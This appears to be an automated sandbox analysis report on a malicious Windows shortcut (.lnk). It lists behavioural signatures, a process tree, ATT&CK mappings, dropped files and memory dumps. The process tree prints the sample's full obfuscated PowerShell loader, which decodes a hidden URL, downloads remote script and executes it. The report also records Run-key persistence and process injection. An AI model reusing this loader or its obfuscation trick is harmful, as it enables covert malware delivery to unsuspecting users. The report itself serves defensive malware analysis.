Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/07/2026, 11:41
General
- Target photov_336948176123.lnk
- Size 2KB
- Sample260729-ntw52sshqd
- SHA256 a788f4eac8fa3b79ebcb84142c03221fde097cd4a2325076a5cd09d282783757
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 7 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_336948176123.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$tgxu=44;$pf_dr0=17;$oex18nuy=84;$zftcfa=[bigint]::Parse('1444950895286291025427565598528120366');$qbjfgc=[bigint]::Parse('851783804828192058232508329379283653');$zftcfa=$zftcfa-$qbjfgc;$j8csld7=@();while($zftcfa -gt 0){$j8csld7+=[char][int]([bigint]::Remainder($zftcfa,256));$zftcfa=[bigint]::Divide($zftcfa,256)};.([scriptblock]::Create((irm(-join$j8csld7))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Minimized -c "$tgxu=44;$pf_dr0=17;$oex18nuy=84;$zftcfa=[bigint]::Parse('1444950895286291025427565598528120366');$qbjfgc=[bigint]::Parse('851783804828192058232508329379283653');$zftcfa=$zftcfa-$qbjfgc;$j8csld7=@();while($zftcfa -gt 0){$j8csld7+=[char][int]([bigint]::Remainder($zftcfa,256));$zftcfa=[bigint]::Divide($zftcfa,256)};.([scriptblock]::Create((irm(-join$j8csld7))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\vwknwelf_r_upd_ojtyfbb8bf65e44d4a\psl.exe"C:\Users\Admin\AppData\Local\vwknwelf_r_upd_ojtyfbb8bf65e44d4a\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\pslservicewinx32" "C:\ProgramData\pslservicewinx32\psl.exe""1⤵
- Suspicious use of WriteProcessMemory
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C:\ProgramData\pslservicewinx32\psl.exe"C:\ProgramData\pslservicewinx32\psl.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
hqgsvtbdk_ptihk.zip
VCRUNTIME140.dll
VCRUNTIME140_1.dll
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libpsl-5.dll
libunistring-5.dll
msvcp140.dll
psl.exe
ucrtbase.dll
DCRCVDrv.sys
memory/1160-10-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-65-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-16-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-17-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-18-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-19-0x00000197D2870000-0x00000197D2D98000-memory.dmp
memory/1160-20-0x00000197D1B70000-0x00000197D1B7A000-memory.dmp
memory/1160-22-0x00000197D1BA0000-0x00000197D1BB2000-memory.dmp
memory/1160-14-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-13-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-12-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-15-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-11-0x00000197D2170000-0x00000197D2332000-memory.dmp
memory/1160-0-0x00007FF92979F000-0x00007FF9297A0000-memory.dmp
memory/1160-9-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-8-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-7-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-6-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-5-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-4-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/1160-3-0x00000197B9A10000-0x00000197B9A32000-memory.dmp
memory/3188-92-0x0000000000010000-0x000000000003D000-memory.dmp
memory/4268-208-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-166-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-111-0x0000000005750000-0x000000000576A000-memory.dmp
memory/4268-112-0x0000000005780000-0x00000000057AC000-memory.dmp
memory/4268-128-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-210-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-234-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-232-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-230-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-228-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-226-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-224-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-222-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-220-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-218-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-216-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-214-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-212-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-107-0x0000000000400000-0x0000000000470000-memory.dmp
memory/4268-204-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-202-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-200-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-199-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-196-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-192-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-190-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-188-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-184-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-182-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-180-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-176-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-175-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-172-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-170-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-168-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-1372-0x0000000007240000-0x00000000077FA000-memory.dmp
memory/4268-162-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-160-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-158-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-1371-0x0000000006BE0000-0x0000000006C72000-memory.dmp
memory/4268-156-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-154-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-152-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-150-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-148-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-146-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-144-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-138-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-136-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-134-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-132-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-131-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-126-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-206-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-124-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-194-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-122-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-186-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-120-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-178-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-118-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-164-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-142-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-140-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-114-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-113-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-116-0x0000000005780000-0x00000000057A6000-memory.dmp
memory/4268-1368-0x0000000005A20000-0x0000000005A86000-memory.dmp
memory/6096-108-0x00007FF6A7C30000-0x00007FF6A7C45000-memory.dmp
memory/6500-741-0x0000000000520000-0x0000000000590000-memory.dmp